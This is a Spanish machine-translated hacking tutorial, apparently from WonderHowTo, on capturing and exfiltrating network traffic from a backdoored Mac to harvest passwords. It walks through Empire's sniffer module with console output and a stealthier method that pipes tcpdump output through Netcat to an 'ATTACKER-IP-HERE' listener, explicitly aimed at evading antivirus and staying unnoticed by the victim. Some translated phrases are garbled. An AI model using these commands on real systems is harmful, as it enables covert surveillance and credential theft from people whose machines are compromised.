BlogWonderHowTo

Hackear macOS: Cómo olfatear contraseñas en una Mac en tiempo real, Parte 1 (Exfiltración de paquetes)

[*]

Con el aumento del cifrado de sitios web (TLS), olfatear contraseñas de la actividad de la red se ha vuelto difícil. Sin embargo, todavía es posible exfiltrar silenciosamente el tráfico de red de un objetivo en tiempo real para extraer contraseñas e información confidencial. En lo que respecta a macOS, existen dos métodos para recuperar el tráfico de una Mac con puerta trasera.

El primer método requiere Empire, un marco de post-explotación. Empire se puede integrar en una MacBook usando un patito de goma USB, durante ataques en modo de usuario único o mediante ingeniería social del objetivo para ejecutar un comando malicioso. El imperio oledor El módulo facilita la captura y exfiltración del tráfico.

El segundo método no requiere marcos posteriores a la explotación y es mucho más discreto. Esta técnica puede ser más conveniente para los usuarios que intentan evadir la detección de antivirus (AV), ya que algunos módulos Empire están marcados como maliciosos. Desde una puerta trasera Netcat primitiva, es posible usar Tcpdump (que viene preinstalado en macOS) para capturar el tráfico de red y exfiltrar los datos usando un túnel Netcat. Esta técnica se consideraría “vivir de la tierra” y puede ser preferida por los lectores que intentan pasar completamente desapercibidos en el dispositivo.

Opción 1: utilice el módulo Empire Sniffer

Después de establecer una puerta trasera Empire y crear un oyente para recibir conexiones desde la MacBook comprometida, ingrese la usemodule comando para habilitar el oledor módulo.

(Empire: V9DGUVIL) > usemodule collection/osx/sniffer*

Utilizar el opciones comando para ver la configuración disponible.

(Empire: python/collection/osx/sniffer) > options

              Name: PcapSniffer
            Module: python/collection/osx/sniffer
        NeedsAdmin: True
         OpsecSafe: False
          Language: python
MinLanguageVersion: 2.6
        Background: False
   OutputExtension: pcap

Authors:
  Alex Rymdeko-Harvey
  @Killswitch-GUI

Description:
  This module will do a full network stack capture.

Comments:
  Using libpcap.dylib we can perform full pcap on a remote
  host.

Options:

  Name             Required    Value                     Description
  ----             --------    -------                   -----------
  PcapDylib        True        /usr/lib/libpcap.A.dylib  Path of the Pcap Dylib (Defualt)
  Agent            True        V9DGUVIL                  Agent to run from.
  MaxPackets       True        100                       Set max packets to capture.
  SavePath         True        /tmp/debug.pcap           Path of the  file to save
  CaptureInterface False                                 Set interface name ie. en0 (Auto resolve
                                                         by default)
  Debug            True        False                     Enable to get verbose message status
                                                         (Dont enable OutputExtension for this).
  LibcDylib        True        /usr/lib/libSystem.B.dyl  Path of the std C Dylib (Defualt)

El MaxPackets La opción determina cuándo debe terminarse el rastreador de paquetes. De forma predeterminada, está configurado en 100 paquetes, que es bastante bajo. Un valor mucho más alto, como 1,000 o 10,000, puede ser más deseable para la mayoría de los escenarios. Cambie el valor de MaxPackets usando lo siguiente colocar mando.

(Empire: python/collection/osx/sniffer) > set MaxPackets 1000

Empire capturará paquetes y los guardará en el dispositivo macOS en un archivo llamado “debug.pcap” en el directorio / tmp /. Para cambiar el directorio, use el siguiente comando. Tenga en cuenta que crear archivos en el dispositivo comprometido puede ser peligroso por las razones que explicaré más adelante en la Opción 2.

(Empire: python/collection/osx/sniffer) > set SavePath /path/to/new/directory/outputFilename.pcap

Por fin, ejecutar para comenzar a rastrear el tráfico en el dispositivo macOS con puerta trasera.

(Empire: python/collection/osx/sniffer) > execute
[>] Module is not opsec safe, run? [y/N] y
[*] Tasked V9DGUVIL to run TASK_CMD_WAIT_SAVE
[*] Agent V9DGUVIL tasked with task ID 9
[*] Tasked agent V9DGUVIL to run module python/collection/osx/sniffer
(Empire: python/collection/osx/sniffer) >

Después de unos segundos, Empire exfiltrará automáticamente el PCAP (captura de paquetes) a su sistema Kali e informará que se guardó un nuevo archivo PCAP que contiene el tráfico analizado en su directorio de Empire.

[*] Compressed size of tokyoneons-MacBook-Air.local.pcap download: 294 KB
[*] Final size of tokyoneons-MacBook-Air.local.pcap wrote: 381 KB
[+] File sniffer/tokyoneons-MacBook-Air.local.pcap from V9DGUVIL saved
[*] Agent V9DGUVIL returned results.
Output saved to ./downloads/V9DGUVIL/sniffer/tokyoneons-MacBook-Air.local.pcap
[*] Valid results returned by 192.168.0.133

Navegue al directorio / ruta / a / Empire / downloads / / sniffer / para encontrar el PCAP si Empire se está ejecutando localmente. Alternativamente, si Empire se está ejecutando en un VPS, sus directorios se pueden sincronizar con una máquina local usando Syncthing, un software seguro para compartir archivos.

Opción 2: utilice Tcpdump para rastrear el tráfico

Como ya mencioné antes, Tcpdump, un analizador de tráfico de red de línea de comandos, viene preinstalado en dispositivos macOS. A diferencia de Empire, Tcpdump se configurará para enviar inmediatamente (exfiltrar) los datos a la máquina del atacante. Con este método, el atacante no necesitará crear archivos PCAP (sospechosos) en ninguna ubicación del dispositivo objetivo. Crear archivos en el dispositivo comprometido puede ser peligroso y alertar a la víctima de nuestra presencia.

Antes de que podamos capturar y exfiltrar el tráfico rastreado del dispositivo macOS, necesitaremos configurar un servicio de escucha para recibir los datos entrantes. Para hacer esto, usaremos Netcat en Kali.

nc -l -p 7777 | tee /tmp/sniffed_output.pcapng

tcpdump: listening on wlan0, link-type AAAAAA (Ethernet), capture size 262144 bytes

Netcat escuchará (-l) para conexiones entrantes en el puerto (-pag) 7777. El número de puerto aquí es arbitrario y puede ser el que desee. Netcat luego canalizará (|) los paquetes en tee, que escribirá los datos en un archivo local en el sistema del atacante.

Ahora, desde una puerta trasera, use el siguiente comando para capturar el tráfico y enviarlo al oyente Netcat del atacante.

/usr/sbin/tcpdump -w - | nc ATTACKER-IP-HERE 7777

tcpdump: data link type PKTAP
tcpdump: listening on pktap, link-type PKTAP (Apple DLT_PKTAP), capture size 262144 bytes
Got 665

Ambos terminales Netcat deben permanecer abiertos para continuar capturando, enviando y recibiendo datos. El -w en este comando es necesario para que Tcpdump genere datos en un formato pipable y envíe efectivamente los datos a través del túnel Netcat. Se pueden usar otros argumentos y filtros Tcpdump antes de enviar datos a través de la tubería, pero el -w debe estar siempre presente.

El “Got 665” en el terminal anterior indica cuántos paquetes se enviaron al sistema del atacante. Este número aumentará a medida que la víctima continúe utilizando Internet.

Para detener la exfiltración de paquetes (sin perder la puerta trasera de Netcat), presione Ctrl-C en la terminal Netcat del atacante. Los datos capturados se pueden analizar en busca de información confidencial utilizando el Tshark y Wireshark, que mostraré cómo se usa en mi próximo artículo. Y eso es todo para capturar y filtrar la actividad de la red de los dispositivos macOS.

Foto de portada de Daniel Putzer / PEXELS

Publicaciones relacionadas

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

Mira también
Cerrar
Botón volver arriba
Cerrar